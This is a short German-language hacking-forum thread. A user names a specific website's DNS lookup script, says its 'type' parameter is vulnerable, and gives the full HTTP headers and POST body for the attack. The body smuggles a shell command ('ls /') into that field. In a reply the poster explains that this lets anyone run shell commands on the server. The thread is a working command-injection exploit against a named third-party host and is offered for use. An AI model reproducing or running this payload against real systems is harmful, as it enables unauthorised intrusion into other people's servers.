2 Antworten in diesem Thema

[Zero-X]

URL:

http://www.tools.mywikiinfo.com/includes/dnslookup.php

Der Parameter "type" ist verwundbar.

Mit Live HTTP Headers übertragen wir folgende Daten:

Im Feld HTTP Header:

Host: www.tools.mywikiinfo.com
User-Agent: XXX
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.tools.mywikiinfo.com/dnslookup.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

Bei POST Inhalt senden:

host=google.com&type=A;ls /;&submit=Lookup&dnslookup=dnslookup

Live HTTP Headers funktioniert ab Firefox 32 nicht mehr richtig.
Hier ist eine Anleitung, wie man es wieder zum laufen bringt. Habe es selbst getestet und bei mir hat alles unter Linux und Windows wieder funktioniert.

Please Login HERE or Register HERE to see this link!

[Mr_NiceGuy]

Was bringt das jetzt genau?

[Zero-X]

Du kannst Shell Befehle über das verwundbare PHP-Skript ausführen.